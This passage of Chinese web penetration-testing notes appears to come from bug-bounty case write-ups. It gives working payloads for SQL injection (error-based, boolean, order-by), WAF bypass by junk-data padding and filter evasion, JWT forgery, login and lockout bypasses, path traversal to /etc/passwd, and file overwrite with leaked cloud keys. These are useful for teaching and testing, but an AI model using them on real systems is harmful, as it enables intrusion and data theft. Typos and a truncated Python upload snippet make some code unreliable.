- 打开了目标的业务系统,有一个充值功能,按理说充值金额应该和发票金额严格绑定。
测试
- 充值8元,从收支明细可以看到
- 使用一些后结算功能的产品,使用了106元,账号欠费98元。按理说系统只允许对实际支付的金额开票,否则就是虚开发票了
但在这个系统里,可以生成106元的发票。也就是说系统没有强制把我们的开票金额和已实际支付的绑定在一起。如果这样开发票会导致被税务追缴承担罚款、相关责任人承担刑事责任,同时公司信誉受损。
案例3-JWT凭据伪造&更改登录
编辑JWT网站:https://jwt.io
xxx.xxx.xxx 三个点分隔: 头部:使用的算法 payload:业务数据 签名:保证数据不可被篡改。密钥在服务端。
可能逻辑
- 服务端直接忽略了签名
- 服务端允许签名算法为空
- 服务端使用了弱密钥
测试
- 使用普通账号登录,返回一个JWT受权token
- 把JWT中的签名去掉还能访问的话,xx.xx. 说明有漏洞。
- 用这个访问只有管理员才能访问的接口。
测试
- 使用弱密钥进行加密
- 将篡改的payload成功进行访问
案例4-更改logintype任意登录
通过一个字段来区分登录策略。常见名字有logintype, mode等
#burpsuite抓包 loginType 1触发了免密登录 POST xxx/Keylogin HTTP/1.1 { "loginType": "1", "phone":"138888888"; "verifyCode":"111111" }
第5部分
案例1-存储桶预签名列桶
什么是存储桶列桶
- 核心组成: Bucket、Object与Key存储桶(Bucket)
- 存储桶(Bucket)
- 数据的顶层容器,权限和策略的基本单位。
- 对象(Object)
- 存储在桶中的实际数据,比如图片、视频或文档。
- 由数据内容、元数据(Metadata)和对象键(Key)三部分组成。
- 对象键(Key)
- 对象在存储桶内的唯一标识符,相当于文件路径。
- 例如:photos/2025/01/1.jpg,其中 photos/2025/01/是模拟的路径,1jpg是文化生名
案例,打开目标站点,里面存在导出任务管理的功能,点击下载按钮,抓包。
#burpsuite抓包 GET xxx/exprotData.do?filepath=xxxxx #响应,打开这个URL就可以下载文件 {"resultCode":1, "resultMessage":"操作成功", "resultData":"https://xxxxx/xxx.csv?AWSAceesKeyId=xxx&ignature=Xxxxx"}
但如果修改请求参数
#burpsuite抓包 GET xxx/exprotData.do?filepath=&id= HTTP/2 #响应,打开这个URL,暴露出根目录的对象列表 {"resultCode":1, "resultMessage":"操作成功", "resultData":"https://xxxxx/xxx.csv?AWSAceesKeyId=xxx&ignature=Xxxxx"}
案例2-临时私钥泄漏文件覆盖
在创建客户中有一个excel导入功能,可以是写入任意文件的入口。
抓包
GET /xxx/getCoSignature?file=xxx.xls HTTP/2 #响应,有临时私钥信息 "code": 200, accessKey: "xxxx", "accessKeySecret":"xxxx","securityToken":"xxxxx"
在官网找到某个文件信息,如xxxx.om/123.png。然后使用临时的STK进行文件覆盖
import sys import logging secret_id = 'AKIxx' secret_key = 'TCxx' token = '7aXWKVWxxx' # 临时密钥的session Token,在使用临时密钥时需要传入此参数 region = 'ap-shanghai' # 警换为用户的region,已创建桶地域填写,例如 ap-beijing scheme = 'https' # 指定使用http/https协议来访问COS,默认为https,可不填 config = CosConfig(Region=region, Secretid=secret_id, Secetke client = CosS3Client(config) bucket_name = 'saastxxx' #替换为你的bucket名 file_path = 'C:\\Usexxxx\saozhu.png' #本地文件 object_name = '/saxxxx' try: response = client.upload_file( Bucket=bucket_name, LocalFilePath=file_path, Key=object_name, Partsize=1,
第6部
案例1-数组元素越权
场景:文件夹分享功能。业务允许文件夹分享成一个链接,任何拿到这个链接的人都可以查看。
开发都只检验一次就放行,利用这个漏洞。
- 首先把文件夹分享成链接。
- 打开分享的链接,抓包。发现请求的接口,修改文件夹id不生效,开发已做检验。
- 但这个文件夹id是数组形式,修改多个不同的id,成功获取到别人的文件夹信息
{
"folderIds": [
953639,
953638
]
}
案例2-绕过手机验证码越权
*联系人手机 *手机验证码 发送验证码
xxxx/queryProcess?mobile=1888888888&code=876554&check=true
{"message": "验证码不正确"}
发现有check参数,把check值改为false,并且验证码置空。成功越权获取。
xxxx/queryProcess?mobile=1888888888&code=&check=false
{返回手机号数据}
案例3-参数配置错误导致任意登录
登录 1 * 忘记密码 登录 抓包 POST /authorize?response_type=password&scope=web&xxxxx
尝试换一个登录的流程,发现不决断用户名密码是否正确了。
POST /authorize?response_type=code&scope=web&xxxxx
案例4-绕过次数限制
登录页面
#抓包 POST /prod-api/login HTTP/2 {"username":"admin", "password":"123456"}
发现不存在用户提示“用户不存在”,而存在用户提示"密码输入错误5次,锁定10分钟"
同时发现,在账号后面加上空格可以绕过锁定的限制
#抓包 POST /prod-api/login HTTP/2 {"username":"admin ", "password":"123456"}
使用脚本生成空格字典
#生成空格文件的脚本 cat <<\EOF> kongge.py filename = "spaces_output.txt" with open(filename, 'w', encoding='utf-8') as f: for i in range(1, 501): #从第1行到第500行 f.write(' ' * i + '\n') #写入i个空格,然后换行 print(f"已生成{filename}, 共500行") EOF
使用burpsuite加入空格字典,intruder模块爆破测试。
SQL注入
报错注入原理
什么是报错注入
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息,是一种页面响应的形式。
响应过程:
- 用户在前台页面输入检索内容后台将前台页面上输入的检索内容无加区别的拼接成sql语句,送给数据库执行数据库将执行的结果返回后台,后台将数据库执行的结果无加区别的显示在前台页面。
前提条件:
- 后台对于输入输出的合理性没有做检查
报错注入常见方法
- 报错注入函数:extractvalue(), updatexml() exp() floor()等
extractvalue(xml_data, xpath_expression) 无效的Xpath表达式
extractvalue(xml_data, xpath_expression)语法
- xml_data: 是XML片段
- xpath_expression: 是XPath路径表达式。
通过在extractvalue函数的第二个参数注入一个无效的Xpath表达式,导致函数报错,从而获取数据
例如: select extractvalue('<a><b>aaaa</b><c>xxx</c></a>', '/a/c'); 就是寻找前一段xml文档内容中的a节点下的c节点,这里如果xpath格式语法书写错误的话,就会报错。就是利用这个特性来获得我们想要知道的内容。
mysql> select extractvalue('<a><b>aaaa</b><c>xxx</c></a>', '/a/c'); +------------------------------------------------------+ | extractvalue('<a><b>aaaa</b><c>xxx</c></a>', '/a/c') | +------------------------------------------------------+ | xxx | +------------------------------------------------------+
~不属于xpath语法格式,因此报出xpath语法错误。
mysql> select extractvalue(1, '~'); ERROR 1105 (HY000): XPATH syntax error: '~'
extractvalue()常见语句
select extractvalue(1, concat(0x7e, (select user()))); select extractvalue(1, concat('m', (select user())); Ox7e就是~
mysql> select extractvalue(1, concat(0x7e, (select user()))); ERROR 1105 (HY000): XPATH syntax error: '~root@' mysql>
updatexml(xml_document, xpath_string, new_value)无效的Xpath表达式
updatexml(xml_document, xpath_string, new_value)语法
- xml_document:是XML片段。
- xpath_string: 是Xpath路径表达式。
- new_value:是更新后的内容。
通过在updatexml函数的第二个参数注入不符合Xpath语法的表达式,从而引起数据库报错,并通过错误信息获取数据。
这里和上面的extractvalue函数一样,当Xpath路径语法错误时,就会报错报错内容含有错误的路径内容
~,不属于xpath语法格式,因此报出xpath语法错误。
mysql> select UpdateXML('<a><b>ccc</b><d></d></a >', '/a', '<e>fff</e>'); +------------------------------------------------------------+ | UpdateXML('<a><b>ccc</b><d></d></a >', '/a', '<e>fff</e>') | +------------------------------------------------------------+ | <e>fff</e>> | +------------------------------------------------------------+ 1 row in set (0.000 sec) mysql> select UpdateXML('<a><b>ccc</b><d></d></a >', '~', '<e>fff</e>'); ERROR 1105 (HY000): XPATH syntax error: '~' mysql>
updatexml()常见语句
select updatexml(1,concat(0x7e,database(),0x7e),1)
mysql> select updatexml(1,concat(0x7e,database(),0x7e),1);
ERROR 1105 (HY000): XPATH syntax error: '~blog2~'
exp()double 数值范围溢出
当一个非常大的数(例如 709)传入 exp() 时,结果会超出 MySQL double 类型能表示的范围(最大值约为 1.7e308),导致数值溢出错误。
exp()常见语句
select exp(~(select*from(select user())x));
mysql> select exp(~(select*from(select version())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select '5.5.47-0ubuntu0.14.04.1' from dual)))' mysql> select exp(~(select * from (select version()) as x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `x`.`version()` from (select version() AS `version()`) `x`)))' mysql> select version(); | 9.3.0 |
floor(rand(0))利用 group by 分组时的主键冲突
需要 count(*), group by 等组合
floor()常见语句
select count(*),concat((select user()),floor(rand(0)*2)) as a from informaon_schema.tables group by a;
mysql> select count(*),concat((select version()),floor(rand(0)*2)) as a from information_schema.tables group by a; ERROR 1062 (23000): Duplicate entry '5.5.47-0ubuntu0.14.04.11' for key 'group_key'
案例1-报错注入
http://xxxx.com/ 查询处存在报错
#页面 公告类型 全部 招标采购 公共通知 采购动态 供应商招募
测的时候一个单引号他就直接报错,是很明显能看出来是报错注入
这里使用extractvalue函数就可以把数据库名再页面响应中回显出来
'and extractvalue(1, concat(0x5c, (select database()))) and "='
# burpsuite抓包 GET /xxx/?keyworkd=' and+extractvalue (1, +concat (0x5c,+(select+database())))+and+''%3d'&searcholass=1&class_id= HTTP/1.1 Upgrade-Insecure-Requests: 1
案例2-报错注入
http://xxxx.com/ 查询处存在报错
#页面 ... 分析工具
搜索拦截请求参数存在sql注入
'or extractvalue(1,contact(0x7e,database())) or' 数据库名在响应包中直接回显出来
#burpsuite抓包 POST /xxxlist/template HTTP/1.1 sql. SQLException: XPATH syntax eri ["pagoNum":1, "pageSize":20, "t": {"templateld": "DDM-TMP16064888750514e46a52201a84ba9b8918463203016ef9", "registerFlag":["'or extractvalue(1,contact(0x7e,database())) or'"], # 响应 {"code":"9999", "msg":"查询问卷信息列表(模板)信息失败:\n###xxxx syntax error: `blog2`\n###xxx
案例3-报错注入
http://xxxx.com/ 查询处存在报错
搜索拦截请求参数存在sql注入
他这里每个字段都是 `` ,所以我们用 `` 来闭合执行
数据库名在响应包中直接回显出来。
#burp抓包 "fieldName":"gmt_create`.(select extractvalue(1, concat(0x2c,user()))).`xxxxx", "fieldAlias":"日期","fieldCate":"datetime", #响应 {"errCode":"500","errMessage":" SQL语句执行失败,请联系xxx,失败可能原因: xxx, SQL state {[email protected]}}xxx"
字符型注入原理
当输入参数为字符串时,称为字符型。字符型与数字型注入最大的区别在于: 数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。
- 原理:select * from user where username='{$user_input}' - 正常输入:select * from user where username='admin' - 恶意输入: select * from userwhere username='admin'and"=" - select * from user where username = 'admin'and 1=1-- -' '单引号闭合前一个字符串引号,and1=1制造真条件,-- -- # 都可以用来注释掉后面的语句
漏洞场景
- 比如:登录框,搜索功能点,查询,详情,下拉框,报表查询,统计等等
案例4-字符型sql注入
http://xxxx.com/ 查询处存在sql注入
用'单引号测试,一个单引号报错,2个单引号闭合'' 用or连接, 'or 1=1 or''=' 'or 1=2 or''=' 1=1等式成立页面会显示出所有数据,1=2不成立时页面会显示空数据
length()函数用法
select length('aaaaaaa') 返回的是字符串的长度所以这里返回5
下一步获取数据库的长度
这里使用length()来判断数据库的长度
length(database())=14当数据库长度等于14的时候页面会返回出数据
#burp抓包 {"test":"1111111'or length(datebase())=14 or ''='"} #响应 {"success":"true","date":{"total":1, xxxx}}
当length=15的时候页面返回给出空数据,到这里就已经得出当前的数据库长度是14位,因为14的时候页面返回出了数据,15为空数据,不等于14也是返回空。
#burp抓包 {"test":"1111111'or length(datebase())=15 or ''='"} #响应 {"success":"true","date":{"total":0}}
获取到数据库的长度后,下一步读取数据库的名称,这里使用mid()来截取数据库的名称,
mid(database(),1,1)='a' 可以直接用burp的intruder模块
intruder设置:变量第一位是需要截取的数据库长度,第二位是数据库字符
- Payload Sets: Payload set 1, Payload type: Numbers
- Payload Options: Type: Seque From: 1 To: 14 Step:1
- Payload Sets: Payload set 2, Payload type: Brute forcer
- Payload Options: Character set: abcdefghijklmnopqrstuvwxyz0123456789_@, Min length:1 Max length: 1
{"test":"1111111'or mid(datebase(), $7$,1)='$c$' or ''='"}
mid()函数用法
mid(string, start_position, length) string: 原始字符串 start_position: 从哪个位置开始截取(从1开始计数) length: 截取多少个字符 #如 select mid('aaaa',1,1)返回a
案例5-字符型sql注入
http://xxxx.com/ 查询处存在sql注入,这里输入名称的时候其实就是一个查询操作
#页面 数据监控 新增 名称:xxx 任务名称:xxx 状态:xx
名称这里是存在sql注入的一个单引号报错',"2个单引号闭合
用and连接'and"='
构造语句先读取数据库的长度,当数据库长度5,页面正常显示。使用length()来判断当前数据库的长度
#burp suit抓包 name='and(1=if((length(database())=5),1,(select 1 union select 2)))and''='&page=1&pagelist=10 #响应包 {"total":0,"data":[],"records":0,"page":"1"}
当长度为6时页面显示错误,得数据库的长度为5
#burp suit抓包 name='and(1=if((length(database())=6),1,(select 1 union select 2)))and''='&page=1&pagelist=10 #响应包 ERROR
获得数据库长度后,再去读取数据库名称,使用mid函数去一位一位字符串的截取,使用方法 mid('aaaaa',1, 1) ='a'
根据响应包长度来排序,再根据1-5位数的字符顺序来筛选得到数据库字符即可。
burp插件包
- DetSql
排序注入原理
在sql语句中orderby子句用于对查询结果进行排序。它可以基于一个或多个列来指定升序(asc)或降序(desc)排列。
例如:
select * from user order by username asc; select * from user order by username desc;
order by注入的原理:
- 如果应用程序将用户的输入直接拼接到SQL查询的order by子句中时,就可能发生排序注入
例如:
$username=$_GET[username]; $query = "select * from user order by $username";
当username变量字段名用户可控时
恶意输入:
select * from user order by username, select * from user order by username,1
mysql> select * from user order by username,; ERROR 1064 (42000): You have an error in your SQL s for the right syntax to use near mysql at line 1
字段名后面跟,逗号报错,跟,1闭合语句,正常显示。说明这个排序字段是可控的,可能存在注入。
mysql>select * from user order by username, l; id|username|keyword| password 1 |admin|admin|1 2|ceshi |ceshi|3 3|niubi|niubi|2 4|test|test|4
挖掘思路: 存在关键参数值desc asc,字段名排序处如下:
#控制排序方向 { "pageSize":10, "current":1, "keyword":"", "status": [ ], "orderField": "demandCode", "orderType": "desc" }
#列名参数,控制什么字段来排序 { "pageNum": 1, "pageSize": 10, "asc":"", "desc": "update_time" }
排序注入检测方法
, ,1
- 逗号报错语法错误;
- 逗号1闭合语句正常执行
mysql> select * from user order by username,; ERROR 1064 (42000): You have an error in your SQL for the right syntax to use near at line l mysql> mysql>select * from user order by username, 1; id|username|keyword| password 1 |admin|admin|1 2|ceshi |ceshi|3 3|niubi|niubi|2 4|test|test|4
,0 ,1
- 逗号0报错,因为排序的索引是从1开始不存在第0列所以报错
- ,1正常,第一列基本上都是id这类,所以正常
mysql> select * from user order by username,0; ERROR 1054 (42S22): Unknown column '0' in 'order clause' mysql> mysql>select * from user order by username, 1; id|username|keyword| password 1 |admin|admin|1 2|ceshi |ceshi|3 3|niubi|niubi|2 4|test|test|4
漏洞场景: 看见小箭头,有的需要去点击才会出排序的参数,例如
#页面 排序 修改时间 #页面 默认排序 价格 上架时间 浏览量 访客数 成交商品件数
案例1-排序注入
http://xxxx.com/ 查询概览处存在排序注入
可以看到请求中存在orderField字段排序参数 这个时候使用,逗号页面会返回错误因为是语法错误,1逗号1会显示正常闭合了sql语句那么就说明大概率存在注入。
判断出是sql注入之后,构造出if语句再使用length()来判断数据库的长度当数据库的长度为16时页面数据回显正常。
length('1')=1 length('111')=3 # 条件正常返回1,否则返回0 if((1=1), 1, 0)
length()用来判断字符串长度
#burp抓包, 如果数据库长度是16,返回1,不是返回2 POST /xxx {"oderFiled":"count, if((length(database()) = 16), 1,(select 1 union select 2))
当数据库长度为17时页面返回错误,那么说明数据库长度是16位数。
获得数据库长度,再去读取数据库名称,使用mid()截取数据库名称mid(database(), 1, 1)='x'
#burp抓包 POST /xxx {"oderFiled":"count, if((mid(database(), 6,1)='x'), 1,(select 1 union select 2))
使用burp爆破就能把数据库名称爆破出来了。
案例2-排序注入
http://xxxx.com/ 查询处存在排序注入,点击小箭头排序
orderColumn参数存在sql注入,数据库长度9,页面返回正常,这里是database()过滤/**/注释符绕过一下就行
# burp抓包 {"orderColumn":"createTime,if((length(database/**/())=9), 1, (select 1 union select 2))",} #响应 {"pageList":"处理中"}
获取到长度再去读取数据库名称
mid(database/**/(), 1, 1) = 'x'
案例3-排序注入
http://xxxx.com/ 查询处存在排序注入,点击小箭头排序
前面2个案例都是字段排序参数存在注入,排序方式也是可以注入的desc asc,asc排序方式处sql注入,数据库长度5,页面返回正常。
#burp 抓包 sortCol=date&sortStyle=asc,if((length(database())=5), 1, (select 1 union select 2)) #响应 []
构造布尔sql语句,读取数据库名称使用mid函数,跟前面一样。
数字型注入原理
数字型注入
数字型注入是指攻击者通过输入数字类型的恶意数据来构造SQL语句。这类注入通常发生在需要数字作为输入条件的查询中,数字型注入的特点在于,它不需要额外的引号或特殊字符来闭合SQL语句,因因为数字本身就是合法的SQL语法元素。
例如:
select * from user where id=1 select * from user where age=20
漏洞场景:用户ID、年龄、数量、商品id、文章详情等
漏洞产生原理: 有一个web应用程序网站,它有一个功能允许用户通过id查看他们的个人资料。
例如,url是这样: http://xxx.com/1.php?id=1
后端代码可能是这样:
$id = $_GET['id']; $query = "select * from user where id = $id"; $result = mysqli_query($conn, $query);
攻击者修改url为: http://xxx.com/1.php?id=1- http://xxx.com/1.php?id=1-0
- 1- ,语法错误,页面报错
- 1-0=1,页面回显正常id为1的数据
- 1-2等于-1,因为数据库中没有-1的id值所返回空数据
用or 1=1,or 1=2也可以1=1回显所有数据,1=2回显一条id=1的数据,连接多个 条件,只要一个条件满足即可。
-- 回显所有数据 select * from user where id=1 or 1=1; -- 只要一条满足即可 select * from user where id=1 or 1=2;
and 1=1, and 1=2也可以,and连接多个条件,所有条件必须同时满足
select * from user where id=1 and 1=1; select * from user where id=1 and 1=2;
案例5-数字型注入
http://xxxx.com/ 查询处存在数字型sql注入
#页面 所有应用 所有页面 组件分类 查询
componentType类型是数字,读取数据库长度,数据库长度10页面回显正常,这里对length database()有个过滤,用%20空格就可以简单绕过
#burp抓包 GET /api/components?applicationId=&pageId= &componentType=1-if((length%20(database%20())=10), 1, (select+1+union+select+2))&pageNo=1 &pageSize=10 HTTP/1.1 #响应 HTTP/1.1 200 OK {"result":{"resultList":xxxx}}
构造布尔语句,读取数据库名称,mid函数截取数据库名
#burp抓包 intruder爆破 GET /api/components?applicationId=&pageId= &componentType=1-if((mid%20(database%20(),8,1)='a'), 1, (select+1+union+select+2))&pageNo=1 &pageSize=10
案例6-数字型注入
查看详情处存在sql注入
#页面 已派单(1) 已完成(0) 查看详情
and 1=1,and 1=2 这里使用and,首先来读取user的长度。是SQL Server数据库,读user和user_name()都一样,使用len()来读取长度。mysql数据库使用length()判断长度。
当user长度=5页面显示正常
#burp 抓包 POST /Handle/ReformMode HTTP/1.1 ID=105 and len(user)=5 #响应 HTTP/1.1 200 OK {"rows":[{"id":91,"RecordsId":105,xxxx}]}
读取user名,用substring()这个跟 mid一样的用法,mid是mysql的函数,不支持当前数据库
#burp 抓包 POST /Handle/ReformMode HTTP/1.1 ID=105 and substring(user,2,1)='a'
第4部分
案例1-Oracle数据库注入
http://xxxx.com/ 查询处存在sql注入
#页面 商品名称 规格 查询
oracle数据库读取当前用户的是user,而mysql是user()
因为是oracle数据库所以这里我们先判断user的长度,3正常,length(user)=3
#burp抓包 sortBy=1&sortType=1&compodityName='or length(user)=3 or ''='¤tPage=1 #响应,通用响应长度判断是否条件成立 Content-Length: 14509 <style> </style> xxxx
读取user,这里使用like模糊查询的方式去读取user等于mts页面正常。
like的使用方法,user like 'MST%'单个字符去匹配,比如user like 'M%'页面会正常,user like'S%'页面会报错,以此类推当返回正常时再去读取下一位字符user like 'MS%'
#burp 抓包 POST /seSaleInfoListTable.as HTTP/1.1 sortBy=1&sortType=1&commodityName='or user like 'MTS' or''='&Page=1 #响应 Content-Length: 14509
不等于mts页面错误,这是就获取了user是mts
#burp 抓包 POST /seSaleInfoListTable.as HTTP/1.1 sortBy=1&sortType=1&commodityName='or user like 'MTSx' or''='&Page=1 #响应 Content-Length: 4975
案例2-Oracle数据库注入
http://xxxx.com/ 查询处存在sql注入
#页面 企业 11 搜索
case when语句用法:
case when 1=1 then 1 else 1/0 end
- 1=1为真,所以when1=1 then 1这个分支会被执行。else分支不会执行。
- 1=2是假,所以会执行else分支。
- 1/0是除以零,在Oracle中会抛出错误:
搜索处存在sql注入构造payload先判断读取user的长度,为8页面返回正常,length(user)=8,这里使用case when语句
user长度等于9页面报错,到这里已经可以得出user的长度是8位数
#burp抓包 GET /xxx/prises?enterpriseName=11'or(1=(case+when(length(user)=9)+then+0+else+1/0+end))or''=' HTTP/1.1 #响应 {"msg":"fail","code":1, "data":null}
like被过滤掉,也可以使用substr字符串截取的方式读取。
读取user,这里使用substr函数去读取 substr(user, 1,1)='a',截取字符串的方式,根据响应包排序一下长度就可以。
#burp intruder 结果 GET /xxx/prises?enterpriseName=11'or(1=(case+when(substr(user,4,1)='S')+then+0+else+1/0+end))or''=' HTTP/1.1
案例3-SQLserver数据库注入
http://xxxx.com/ 登录处存在sql注入
#页面 admin xxxx 登录
SqlServer数据库读取数据库长度使用len(),跟mysql的length()用法一致。
len(user)=4,判断user的长度=4,返回正常。
#burp 抓包 name=admin' and 1=case when len (user)=4 then1 else exp (1111) end or '1'='1 &pwd=12345 #响应 Connection:close Content-Length:112 {"status":0, "msg":"登录名或密码错误!您还有【2】次输入", "key":"", "post":"", "dep":null }
这里可以使用like来读取,模糊查询,比如user like 's%' 一位一位字符的去匹配,直到四位数字符都正确
#burp 抓包 name=admin' and 1=case when user like 'css%' then1 else exp (1111) end or '1'='1 &pwd=12345 #响应 Connection:close Content-Length:112 {"status":0, "msg":"登录名或密码错误!您还有【2】次输入", "key":"", "post":"", "dep":null }
案例4-SQLserver数据库注入
http://xxxx.com/ 查询处存在sql注入
keyword参数存在sql注入 db_name() 返回数据库的名称。
#burp抓包 GET /xxx?keyword=1'or+db_name()>0+or''=' HTTP/1.1 #响应 直接把数据库名称返回了 HTTP/1.1 500 Internal Server Error <head> <tite>在将 nvarchar 值 'AxxDB' xx
user_name() 返回当前用户
#burp抓包 GET /xxx?keyword=1'or+user_name()>0+or''=' HTTP/1.1 #响应 直接把用户名称名称返回了 HTTP/1.1 500 Internal Server Error <head> <tite>在将 nvarchar 值 'abcxx' 转换成数据类型 int
第5部分
案例1-脏数据绕过waf
原理分析 WAF的工作原理是基于规则匹配来检测和阻止恶意请求。为了提高性能,部分WAF对于大块数据(尤其是POST请求中的数据)可能会采取以下策略
- 只检测开头的部分数据: 比如,只检测前8KB的内容。
- 忽略后续数据: 超出检测范围的部分直接放行,不再检查。
这时候如果攻击者能够将恶意代码放置在WAF的检测范围之外,就可以成功绕过检测
场景 : SQL注入绕过WAF
- 假设一个登录表单的SQL直询如下: SELECT * FROM users WHERE username= '$username' AND password = '$password';
WAF的规则:
- 只检测POST数据的前8KB。
- 如果关键字(如select、mid、substring等)出现在前8KB内,则请求被拦截
绕过步骤
构造超长数据。传入一段超长的用户名或密码数据,恶意代码在第8KB之后。
输入: username=正常用户名+8KB的无意义数据+'and mid(xxx,1,1)='x'
- 前8KB是无意义的填充数据(随机字符或空白字符或空白字符)。
- 第8KB后才是真正的sql注入语句。
绕过WAF
- WAF只检测前8KB的数据,发现前面的数据中没有恶意代码,然后放行请求
- 这时候数据库接收到完整的恶意查询并执行,导致SQL注入成功。
这里就可以添加脏数据绕过waf的检测,他只检测了前面开关的部分。
添加多个''''''''超过8kb,之后的语句waf就不拦截了,就直接可以读取数据库的长度为9,返回正常。
#burp抓包 "''''''''''''''''''''''''''''''' '''''''''''''''''''''''''''''' ''''''and(1=if((length(database())=9),1,(select 1 union select 2))) and''='" #响应 { "code":-1,"msg":"检查异常,该租户默认角色xxxx" }
再使用mid函数,到burpsuite中爆破数据库名称,通过响应长度差异排序对比找出正常的。
案例2-脏数据绕过waf
打开 http://xxxx.com/ ,一样也是脏数据库的方式绕过,传入垃圾数据把waf的前8kb数据据填充满,之后就不拦截了。
#burp抓包 请求体 "式式式式式式式式式式式式式式 式式式式式式式式式式式式式式 式式式式式式式式式式式式式式 式式式'and(1=if((length(database())=15),1,(select 1 union select 2))) and''='" #响应 正常{}
再利用数据库名称截取如mid函数进行爆破,最后得到数据库名称
案例3-脏数据绕过waf
sort 参数存在sql注入,数据库长度为15,脏数据绕过waf
#burp抓包 "sort": "reply_time, if((length(database())=16),1,(select 1 union select 2))", "order":"desc", "name":"", #响应 { "code":-1, "msg":"查询失败", "data":null }
数据库名称,burp爆破
#burp抓包 "sort": "reply_time, if((mid(database(),7,1)='_'),1,(select 1 union select 2))", "order":"desc", "name":"",
案例4-并发绕过waf
有时候waf并不是按请求长度来拦截的,而是按请求频繁请求模式来拦截。
打开 http://xxxx.com/ waf拦截多次,通过请求并发来绕过,可以看到请求到439次的时候绕过了waf,读取数据库长度。
#burp爆破 "sort": "1' || length(database())=16) || ''='",
1987次绕过waf读取到数据库名称。
#burp爆破 "sort": "1' || substring(database(),1,1)='c') || ''='",
案例5-其他绕过waf方法
http://xxxx.com/ 查询处存在注入,正常读取
#页面 发布时间 输入主题 查询
name存在注入,读取数据库长度length database() 14位,页面返回正常
#burp 抓包 GET /xxx?name=1'or+length(database())=14+or''=
用mid(database(),1,1)='a'读取数据库名称,这样来爆破。
- 过滤了or mid() user() database() 绕过
这里用%7c代替or user/**/()绕过,长度26位正常
#burp爆破 GET /xxx?name='%7c%7ccase%20when%20length(user/**/())=26%20then%20else%20exp(111111)%20end%7c%7c' HTTP/1.1
这里使用substring()代替mid()绕过过滤,读取user
#burp爆破 GET /xxx?name='%7c%7ccase%20when%20substring(user/**/(),23,1)='6'%20then%20else%20exp(111111)%20en%7c%7c' HTTP/1.1
案例6-其他绕过waf方法
- 过滤了'||case when语句 substring() mid() or user() databse()= 绕过
用注释符 like 模糊查询 '/**/||/**/user/**/() ,user正确返回数据
# burp抓包 POST xxx code='/**/||/**/user/**/() like 'abcxxx'/**/||/**/'&name=1&searchdata=searchdata&page=2
案例7-其他绕过waf方法
- 过滤了'||case substring() mid() or user() database()= user/**/() like
用system_user() rlike正则匹配,rlike'^'绕过,正确则返回所有数据。
#burp抓包 POST xxx code='/**/||/**/system_user() rlike 'aaxx'/**/||/**/'&name=1&searchdata=searchdata&page=2
案例8-其他绕过waf方法
- 过滤了||case substring() mid() or user() database()= user/**/() like rlike绕过
用'/**/xor regexp 16进制来绕过,正确则返回所有数据
#burp抓包 POST xxx code='/**/xor/**/system_user() regexp 0x64xxx696e/**/xor/**/'&name=1&searchdata=searchdata&page=2
案例9-其他绕过waf方法
如果mid(database(),1,1)='1'单引号被过滤的情况下,我们就使用ascii绕过,ascii(mid(database(),1,1))=111
#burp爆破 GET /xxx?name=1/case when ascii(substring(database(),8,1))=101 then else exp(111111) end HTTP/1.1
文件读取
第1部分-任意文件
任意文件读取漏洞原理
漏洞原理
- 输入验证不足: 应用程序没有对用户输入进行充分的验证和过滤,导致攻击者可以在输入中注入特殊字符或路径遍历序列,如../,来突破原本限制的文件访问范围,从而访问到其他敏感文件。
- 不当的文件访问逻辑: 程序在处理文件读取请求时,可能没有正确地验证文件路路径的合法性和用户的访问权限,使得攻击者能够利用漏洞构造恶意请求,直接指定要读取的任意文件路径。
漏洞危害
- 敏感信息泄露: 攻击者可以读取系统配置文件、用户密码文件、数据库连接字符串等敏感信息,进而利用这些信息进行进一步的攻击,如获取数据库的访问权限,篡改数据或窃取用户的登录凭证等。
- 系统信息泄露: 能获取服务器的系统信息,如操作系统版本、安装的软件列表等,帮助攻击者更好地了解目标系统,制定更有针对性的攻击策略。
- 文件内容篡改: 在某些情况下,攻击者可能通过读取关键的配置文件或可执行文件,找到系统的弱点,进而尝试篡改这些文件,破坏系统的正常运行,甚至获取系统的控制权。
常见的触发方式
- 直接文件路径作为参数: 应用程序接受用户输入的文件路径并直接使用该路径圣来读取文件
- 文件名或目录名称作为参数: 除了完整的路径外,有时仅提供文件名或目录名也可能导致漏洞
- 使用点点斜杠(…/)进行路径遍历: 即使应用程序限制了可访问的根目录,但未正确处理路径遍历序列,攻击者仍可能通过这种方式访问受限目录下的文件。
- 利用特殊字符和编码技巧: 攻击者可能利用各种编码方式(如百分号编码、Unicode编码等)或操作系统特定的文件路径特性(如Windows上的驱动器盘符、UNC路径等)来尝试访问回敏感文件。
- 通过POST请求中的数据进行文件读取: 并不是所有的文件读取操作都是通过GET请求执行的,有时候也可能在POST请求的数据中指定文件路径。
案例1-请求传参中的任意文件读取漏洞
#burp抓包 GET /xx/find-resourcss?path=../../../etc/passwd&t=168xx HTTP/1.1
案例2-请求传参中的任意文件读取漏洞
http://xx/fileContent?filename=../../../../../../etc/passwd
案例3-通过JDBC反序列化进行文件读取
利用工具,下载地址:https://github.com/4ra1n/mysql-fake-server
MySQL
- Bind IP 0.0.0.0
- Bind Port 3306
- Godget 利用链
- CC 3.1(CC6)
- Mode: File Read
- Type:
- detectCustomCollations 是否检测自定义排序规则
- Payload Panel
- Addr xxx:3306
- Cmd/File /etc/hosts
- 点击Generate Normal生成一般的payload
- Grenerate: jdbc:mysql://xxx:3306/test?allowLoadLocalInfile=xx
- 点击Copy Payload,自动生成payload
注入到实现jdbc连接的地方
#页面 添加数据源 JDBC地址:jdbc:mysql://xxx:3306/test?allowLoadLocalInfile=xxfileread_/etc/hosts 测试连通性
查看工具显示。成功,本地保存读取到的hosts文件。